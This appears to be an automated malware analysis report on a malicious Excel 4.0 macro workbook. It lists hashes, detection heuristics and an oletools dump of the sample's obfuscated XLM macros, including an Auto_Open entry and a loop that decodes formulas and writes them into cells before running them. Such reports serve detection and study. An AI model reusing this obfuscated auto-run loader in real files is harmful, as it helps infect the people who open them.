Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2988886175579543…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:10 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: f92b95867c308ddcf8b5065c0de77b22 SHA-1: 96fe0b68419323b6d01496effc1000b7ae1aa1e5 SHA-256: 29888861755795432b8e669c5abc6efef71eed8dc218e7e5e42b3e48790ea6ff
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6430 bytes
SHA-256: d95cafddadf5eb2f8f039e1e2a01b7370d816b8175bc985f31ab76b80720d68f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pHUQz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E188 
' 0018     26 LABEL : Cell Value, String Constant - BCmDLyVITSb len=0 
' 0018     26 LABEL : Cell Value, String Constant - CkVpMiKsaHY len=0 
' 0018     23 LABEL : Cell Value, String Constant - cxlVBEXw len=0 
' 0018     20 LABEL : Cell Value, String Constant - fiMQh len=0 
' 0018     20 LABEL : Cell Value, String Constant - gtHYA len=0 
' 0018     22 LABEL : Cell Value, String Constant - HHjrqWo len=0 
' 0018     23 LABEL : Cell Value, String Constant - IJbCMwQC len=0 
' 0018     25 LABEL : Cell Value, String Constant - jyvuWOqZvz len=0 
' 0018     27 LABEL : Cell Value, String Constant - lcbuBPHsPfyj len=0 
' 0018     26 LABEL : Cell Value, String Constant - LxIbCXubnJm len=0 
' 0018     21 LABEL : Cell Value, String Constant - ppGVAi len=0 
' 0018     22 LABEL : Cell Value, String Constant - QSBwxRb len=0 
' 0018     24 LABEL : Cell Value, String Constant - ScvLpFLht len=0 
' 0018     22 LABEL : Cell Value, String Constant - tlSGlRK len=0 
' 0018     24 LABEL : Cell Value, String Constant - tNHcWCaOP len=0 
' 0018     23 LABEL : Cell Value, String Constant - TpYUMiUM len=0 
' 0018     20 LABEL : Cell Value, String Constant - usDlv len=0 
' 0018     25 LABEL : Cell Value, String Constant - xukvAFXHUl len=0 
' 0018     24 LABEL : Cell Value, String Constant - YBtnUFjja len=0 
' 0018     20 LABEL : Cell Value, String Constant - zDTcc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pHUQz,E100,"SET.NAME("TpYUMiUM",VALUE("0"))",""
'  pHUQz,E104,"SET.NAME("fiMQh",TpYUMiUM)",""
'  pHUQz,E108,"SET.NAME("CkVpMiKsaHY",TpYUMiUM)",""
'  pHUQz,E110,"SET.NAME("HHjrqWo",COUNTA(usDlv))",""
'  pHUQz,E114,"SET.NAME("ppGVAi",COUNTA(xukvAFXHUl))",""
'  pHUQz,E118,[],""
'  pHUQz,E121,"SET.NAME("LxIbCXubnJm","")",""
'  pHUQz,E124,"fiMQh",""
'  pHUQz,E127,"SET.NAME("jyvuWOqZvz",HLOOKUP("*",usDlv,fiMQh,FALSE))",""
'  pHUQz,E129,"zDTcc",""
'  pHUQz,E133,"SET.NAME("YBtnUFjja",TpYUMiUM)",""
'  pHUQz,E137,[],""
'  pHUQz,E140,"YBtnUFjja",""
'  pHUQz,E144,"tNHcWCaOP",""
'  pHUQz,E147,"tlSGlRK",""
'  pHUQz,E149,"gtHYA",""
'  pHUQz,E154,"SET.NAME("IJbCMwQC",VALUE(HLOOKUP("*",xukvAFXHUl,gtHYA,FALSE)))",""
'  pHUQz,E156,"ScvLpFLht",""
'  pHUQz,E160,"LxIbCXubnJm",""
'  pHUQz,E162,"CkVpMiKsaHY",""
'  pHUQz,E167,NEXT(),""
'  pHUQz,E171,"cxlVBEXw",""
'  pHUQz,E175,"SET.NAME("f",INT(T(FORMULA(T(LxIbCXubnJm)&"",""&T(cxlVBEXw)))))",""
'  pHUQz,E178,"lcbuBPHsPfyj",""
'  pHUQz,E180,NEXT(),""
'  pHUQz,E183,RETURN(),""
'  pHUQz,E213,"SET.NAME("QSBwxRb",E100)",""
'  pHUQz,E216,"usDlv",""
'  pHUQz,E219,"SET.NAME("xukvAFXHUl",R78C12)",""
'  pHUQz,E221,"SET.NAME("lcbuBPHsPfyj",229)",""
'  pHUQz,E226,"SET.NAME("BCmDLyVITSb",5)",""
'  pHUQz,E228,QSBwxRb(),""
'  pHUQz,E229,HALT(),""

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